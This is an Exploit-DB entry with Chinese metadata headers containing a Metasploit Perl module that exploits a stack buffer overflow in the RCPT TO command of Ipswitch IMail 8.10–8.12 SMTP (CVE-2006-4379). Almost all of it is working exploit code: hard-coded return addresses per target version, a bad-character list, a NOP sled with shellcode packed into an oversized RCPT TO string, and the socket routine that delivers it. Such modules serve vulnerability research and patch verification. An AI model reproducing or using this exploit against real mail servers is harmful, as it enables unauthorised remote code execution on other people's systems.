标题: Ipswitch IMail Server 8.10-8.12 - RCPT TO Remote Buffer Overflow (Metasploit) EDB-ID: 3265 CVE: 2006-4379 类型: REMOTE 平台: WINDOWS 发布日期: 2007-02-04 漏洞利用脚本: ## 
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::imail_smtp_rcpt_overflow;
use base "Msf::Exploit";
use strict;
use Pex::Text;
my $advanced = { };

my $info = {
 'Name'    => 'IMail 2006 and 8.x SMTP Stack Overflow Exploit',
 'Version'  => '$Revision: 1.0 $',
 'Authors' => [ 'Jacopo Cervini <acaro [at] jervus.it>', ],
 'Arch'    => [ 'x86' ],
 'OS'      => [ 'win32', 'winnt', 'win2000', 'winxp', 'win2003'],
 'Priv'    => 1,

 'UserOpts'  =>
   {
  'RHOST' => [1, 'ADDR', 'The target address'],
  'RPORT' => [1, 'PORT', 'The target port', 25],
  'Encoder'   => [1, 'EncodedPayload', 'Use Pex!!'],

  
   },

 'AutoOpts'  => { 'EXITFUNC'  => 'seh' },
 'Payload' =>
   {
  'Space'     => 400,
  'BadChars'  => "\x00\x0d\x0a\x20\x3e\x22\x40",
  'Keys'      => ['+ws2ord'],
  

   },

 'Description'  => Pex::Text::Freeform(qq{
This module exploits a stack based buffer overflow in IMail 2006 and 8.x SMTP service.
If we send a long strings for RCPT TO command contained within the characters '@' and ':'
we can overwrite the eip register and exploit the vulnerable smpt service
}),

 'Refs'  =>
   [
  ['BID', '19885'],
  ['CVE', '2006-4379'],
  ['URL',   'http://www.zerodayinitiative.com/advisories/ZDI-06-028.html'],
   ],

 'Targets' =>
   [

 ['Universal IMail 8.10',0x100188c3 ], # pop eax, ret in SmtpDLL.dll for IMail 8.10
 ['Universal IMail 8.12',0x100191c4 ], # pop eax, ret in SmtpDLL.dll for IMail 8.12


   ],

 'DefaultTarget' => 0,

 'Keys' => ['smtp'],

 'DisclosureDate' => 'September 7 2006',
  };

sub new {
 my $class = shift;
 my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);

 return($self);
}

sub Exploit {
 my $self = shift;
 my $target_host = $self->GetVar('RHOST');
 my $target_port = $self->GetVar('RPORT');
 my $target_idx  = $self->GetVar('TARGET');
 my $shellcode   = $self->GetVar('EncodedPayload')->Payload;

 my $target = $self->Targets->[$target_idx];



 my $ehlo = "EHLO " . "\r\n";

 my $mail_from = "MAIL FROM:" . "\x20" . "\x3c"."acaro". "\x40"."jervus.it" . "\x3e" . "\r\n";


 my $pattern = "\x20\x3c\x40";
 $pattern .= pack('V', $target->[1]);
 $pattern .="\x3a" . $self->MakeNops((0x1e8-length ($shellcode)));
 $pattern .= $shellcode;
 $pattern .= "\x4a\x61\x63\x3e"; 

 my $request = "RCPT TO: " . $pattern ."\n";

 $self->PrintLine(sprintf ("[*] Trying ".$target->[0]." using pop eax, ret at 0x%.8x...", $target->[1]));

 my $s = Msf::Socket::Tcp->new
   (
  'PeerAddr'  => $target_host,
  'PeerPort'  => $target_port,
  'LocalPort' => $self->GetVar('CPORT'),
  'SSL'       => $self->GetVar('SSL'),
   );

 if ($s->IsError) {
  $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  return;
 }
my $r = $s->Recv(-1, 5);

 $s->Send($ehlo);
 $self->PrintLine("[*] I'm sending ehlo command");
 $self->PrintLine("[*] $r");
 sleep(2);
  
 $s->Send($mail_from);
 $self->PrintLine("[*] I'm sending mail from command");
 $r = $s->Recv(-1, 10);
 $self->PrintLine("[*] $r");
 sleep(2);

 $s->Send($request);
 $self->PrintLine("[*] I'm sending rcpt to command");
 sleep(2);

 return;
}

# milw0rm.com [2007-02-04] URL: https://www.exploit-db.com/exploits/3265